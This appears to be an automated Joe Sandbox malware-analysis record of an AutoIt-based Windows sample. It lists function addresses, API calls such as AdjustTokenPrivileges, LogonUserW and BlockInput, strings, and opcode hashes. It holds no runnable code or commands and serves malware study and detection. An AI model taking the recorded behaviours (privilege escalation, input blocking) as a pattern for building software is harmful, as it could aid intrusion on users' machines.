Function 00FEC93C Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00FEC966
FindClose.KERNEL32(00000000), ref: 00FEC996

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: f2082c615700d8f2f64d14a82a245053b3ad7f0f2ea64d41feed7c6f608bef40
Instruction ID: a4c489cf8c0c8fa24b4faa610d084d97f894341465dd463fbe38adef887dd515
Opcode Fuzzy Hash: f2082c615700d8f2f64d14a82a245053b3ad7f0f2ea64d41feed7c6f608bef40
Instruction Fuzzy Hash: 0511A1326042009FD710EF29C845A6AF7E9FF84320F04851EF8AAD7291DB78AC01DB81

Function 00FEA2D5 Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,00FF977D,?,0100FB84,?), ref: 00FEA302
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,00FF977D,?,0100FB84,?), ref: 00FEA314

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: e7c50294ed428a59233532d64fddcd0c0ff736fc57fa09e15a4c0e9aa7dc8f4b
Instruction ID: 192a5cc718b205b5b67954da875fd93a94748222d2598860bd13da9d29d9f46e
Opcode Fuzzy Hash: e7c50294ed428a59233532d64fddcd0c0ff736fc57fa09e15a4c0e9aa7dc8f4b
Instruction Fuzzy Hash: C3F0E23150422DABDB21AFA5CC48FEA736DBF08361F008156B908D2180DA30A900DBE1

Function 00FD8713 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00FD8851), ref: 00FD8728
CloseHandle.KERNEL32(?,?,00FD8851), ref: 00FD873A

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 01f4b9ffe388ac36e3f2ee2fb28965a7da3a12ed02dde41332325aaa0f249bc0
Instruction ID: 9d7930eb78ef8826bd6a4a312a0c85c7d74a9b899b8c8ddad85227c5444d184e
Opcode Fuzzy Hash: 01f4b9ffe388ac36e3f2ee2fb28965a7da3a12ed02dde41332325aaa0f249bc0
Instruction Fuzzy Hash: B8E0B6B6010611EFE7362B60EC09D777BA9FB047A0B25C829B4A680474DB66AC91EB10

Function 00FAA395 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00FA8F97,?,?,?,00000001), ref: 00FAA39A
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00FAA3A3

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 24ac1b1fe2deba4a713710893888f6c4748d3154f028e21336111b0813d9435c
Instruction ID: ba911ee3f23f9caee27f7313bd55e44b60a8e859c6b05a48578a50b6a603392c
Opcode Fuzzy Hash: 24ac1b1fe2deba4a713710893888f6c4748d3154f028e21336111b0813d9435c
Instruction Fuzzy Hash: 87B0923105820AABCA222B91E809B883F68EB45AB2F408010F64D84054CBE75450AB91

Function 00FAF419 Relevance: 2.1, APIs: 1, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e83661307f15068a5705f6cc669f9401f2e70963b77f0f4d97bb64865c02e17
Instruction ID: f48c6d3048a0e4cd4365bb35fa2aa23d35ca057165c014ddd266d170975b4e8b
Opcode Fuzzy Hash: 9e83661307f15068a5705f6cc669f9401f2e70963b77f0f4d97bb64865c02e17
Instruction Fuzzy Hash: 42323472D69F014DD7239534D872336A299AFB73D4F14D737E81AB9A9AEB2DC4831200

Function 00FB267E Relevance: 1.8, APIs: 1, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75e986ec55450f1a498abf52368ed95ce91be60856fb1174165bc768d38c5b78
Instruction ID: 120dc247da06cbba426579a9501132091d13bbdc62cf1252de0d087ba36f4edc
Opcode Fuzzy Hash: 75e986ec55450f1a498abf52368ed95ce91be60856fb1174165bc768d38c5b78
Instruction Fuzzy Hash: 58B1F130E2AF818DD72396398831336B64CAFBB2D5F51D71BFC6675D16EB2A85834240

Function 00FE8B13 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 00FE8B25

Part of subcall function 00FA543A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00FE91F8,00000000,?,?,?,?,00FE93A9,00000000,?), ref: 00FA5443
Part of subcall function 00FA543A: __aulldiv.LIBCMT ref: 00FA5463

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Time$FileSystem__aulldiv__time64
String ID:
API String ID: 2893107130-0
Opcode ID: f8f628e5c28b482c7050e02d694f2d508b4405fc952fd6f88006ad913a7e79b4
Instruction ID: 1d373550d99fb5b6dfc18bc0c093da42ab374448a19c929e098fe7028d4b332a
Opcode Fuzzy Hash: f8f628e5c28b482c7050e02d694f2d508b4405fc952fd6f88006ad913a7e79b4
Instruction Fuzzy Hash: 8F21E7B26355508FC329CF25D441B52B3E1EBA5321B288E2CD4E9CF2D0CA75B905DB94

Function 00FF41FD Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00FF4218

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 8bfa793727673ad3b2b731e5aaac998f1d4013ed6eb5eb9e89d037c88b91712d
Instruction ID: 0d508a2aa155353e0db5a7582059d2f9075a79b6404e97dd073e47fb6c0da7a2
Opcode Fuzzy Hash: 8bfa793727673ad3b2b731e5aaac998f1d4013ed6eb5eb9e89d037c88b91712d
Instruction Fuzzy Hash: 86E048312441155FC710EF59D844AABF7D8AF94760F048025FD49C7351DAB5F840DB90

Function 00FE4EF5 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000004,00000000,00000000,00000000,00000000), ref: 00FE4F18

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: 752488138c2c016f4a426f774342d9b67ceb2ecf0b1e6bce443a9f72359056a3
Instruction ID: 417b67595b489cbd514049f7aa9b6e2f35721e5d969d344cc86357e4a4070276
Opcode Fuzzy Hash: 752488138c2c016f4a426f774342d9b67ceb2ecf0b1e6bce443a9f72359056a3
Instruction Fuzzy Hash: E2D05EB15682C579FC284B22AC1FF76110AE380FA1F84498E3201875C299E6B800B434

Function 00FD8C93 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00FD88D1), ref: 00FD8CB3

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: d964a5787d7df9de172d9475a189f8da83195656b52cbc5850138eabfed1e787
Instruction ID: d5db774f1666c6f62323c3dd4bfd4c7f6edbeb51ab8a456ad5ae6c28cd0376f8
Opcode Fuzzy Hash: d964a5787d7df9de172d9475a189f8da83195656b52cbc5850138eabfed1e787
Instruction Fuzzy Hash: 97D05E3226090EABEF11CEA4DC01EAF3B69EB04B01F408111FE15C5090C776D835AF60

Function 00FC2230 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00FC2242

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: eb883db5c9132404f2134f76db4975176c8c7fc340ac8cb8086e3562b44bc098
Instruction ID: 9325b60004722a3b399077e7ddaf7d83d79c834dfdf1ca033e80cb70c8e5a52f
Opcode Fuzzy Hash: eb883db5c9132404f2134f76db4975176c8c7fc340ac8cb8086e3562b44bc098
Instruction Fuzzy Hash: B6C04CF1C0410ADBDB15DB90D688EEE77BCBB04304F104155A141F2100D7749B449F71

Function 00FAA364 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 00FAA36A

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 29b366e9a2baf8db97771b80f0dfee44381b0d12c8223fb105980d763c575f73
Instruction ID: 4fc1d08d65833745488d82020a48d1e715a3b5c71e5db6a99c1634bf9c5daa6f
Opcode Fuzzy Hash: 29b366e9a2baf8db97771b80f0dfee44381b0d12c8223fb105980d763c575f73
Instruction Fuzzy Hash: 75A0123000410DA78A111B41E8044447F5CD6001A0B008010F40C4001187B354105680

Function 00F98A0E Relevance: .6, Instructions: 608COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc7f12e797d8d0fb7829acdcb8c7cc3a331b62008f65109ac57188ec0a7610dd
Instruction ID: 0b7a2070e47533eb0efad570c3a2d25762d96f41fa9f995a19f56512c7287acf
Opcode Fuzzy Hash: bc7f12e797d8d0fb7829acdcb8c7cc3a331b62008f65109ac57188ec0a7610dd
Instruction Fuzzy Hash: D922F571D01616CBEF288F24C49477D77A2EB427A4F6C486BD8429B291DB34DD82FB60

Function 00FA2405 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: 3073a19d66832d3b845137c6c2771659f0b41a0acc86610b4a1c00ebf98181a6
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: 04C170B26051A30DDBAD863D943413EBAE16EA37B131A075DE8B2CB5C5EF20D564F620

Function 00FA283A Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: bc50eb1e19ec0a41c371aa16dd41bb87a29142b60ee8c4f3ac83735601a5fe0d
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: C6C1A4B26051A30ADFAD463DD43413EBBE16AA37B131A076DE4B2DB4D4EF20D524F620

Function 00FA1BB8 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 0a8019ad923a721179e600434ae80fe32ddb881f8649980f4f9206179ddfddfc
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: 45C1A1B26051A30DDF6D463A947413EBAE17AA37B171B076DE4B2CB5C4EF20D524F620

Function 00FF7B1B Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 491filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00FF7B70
DeleteObject.GDI32(00000000), ref: 00FF7B82
DestroyWindow.USER32 ref: 00FF7B90
GetDesktopWindow.USER32 ref: 00FF7BAA
GetWindowRect.USER32(00000000), ref: 00FF7BB1
SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 00FF7CF2
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 00FF7D02
CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FF7D4A
GetClientRect.USER32(00000000,?), ref: 00FF7D56
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00FF7D90
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FF7DB2
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FF7DC5
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FF7DD0
GlobalLock.KERNEL32(00000000), ref: 00FF7DD9
ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FF7DE8
GlobalUnlock.KERNEL32(00000000), ref: 00FF7DF1
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FF7DF8
GlobalFree.KERNEL32(00000000), ref: 00FF7E03
CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FF7E15
OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,01012CAC,00000000), ref: 00FF7E2B
GlobalFree.KERNEL32(00000000), ref: 00FF7E3B
CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 00FF7E61
SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 00FF7E80
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FF7EA2
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FF808F

Strings

AutoIt v3, xrefs: 00FF7D42
, xrefs: 00FF8015
DISPLAY, xrefs: 00FF7EF2
static, xrefs: 00FF7D8A, 00FF7EE1

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 268abff640c59fbdcc5eb172ca34a1e8cc36320d2f3680ce922fd633ee79b5b4
Instruction ID: 0ec41d1e7c0798b34f84176e6a952f098d2ec1404cf48f0f1f672d35d097a7ae
Opcode Fuzzy Hash: 268abff640c59fbdcc5eb172ca34a1e8cc36320d2f3680ce922fd633ee79b5b4
Instruction Fuzzy Hash: FD02A071900209AFDB25DFA4CD89EBEBBB9FF49310F048158F905AB2A4DB759D01DB60

Function 010037F3 Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,0100F910), ref: 010038AF
IsWindowVisible.USER32(?), ref: 010038D3

Strings

GETCURRENTCOL, xrefs: 01003BB0
CHECK, xrefs: 01003AF5
ISENABLED, xrefs: 010038F3
DELSTRING, xrefs: 010039D1
GETCURRENTLINE, xrefs: 01003B75
SETCURRENTSELECTION, xrefs: 01003A3E
SENDCOMMANDID, xrefs: 01003C62
GETLINE, xrefs: 01003C23
HIDEDROPDOWN, xrefs: 01003988
GETCURRENTSELECTION, xrefs: 01003A6B
ISVISIBLE, xrefs: 010038BF
UNCHECK, xrefs: 01003B0B
CURRENTTAB, xrefs: 01003945
GETLINECOUNT, xrefs: 01003B4E
EDITPASTE, xrefs: 01003BE7
ISCHECKED, xrefs: 01003AC1
SHOWDROPDOWN, xrefs: 01003968
FINDSTRING, xrefs: 010039FE
TABRIGHT, xrefs: 01003925
GETSELECTED, xrefs: 01003B2B
SELECTSTRING, xrefs: 01003A8E
TABLEFT, xrefs: 0100390F
ADDSTRING, xrefs: 0100399E

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: 6551f6220d5d74fdb8fd340a9ed5482ce77f45c772ecd5c6530f373bb0091f76
Instruction ID: c8cf2964e6cf4f3e5b09332c7c394216191544922bc3195ae3f8079b0c9b7c54
Opcode Fuzzy Hash: 6551f6220d5d74fdb8fd340a9ed5482ce77f45c772ecd5c6530f373bb0091f76
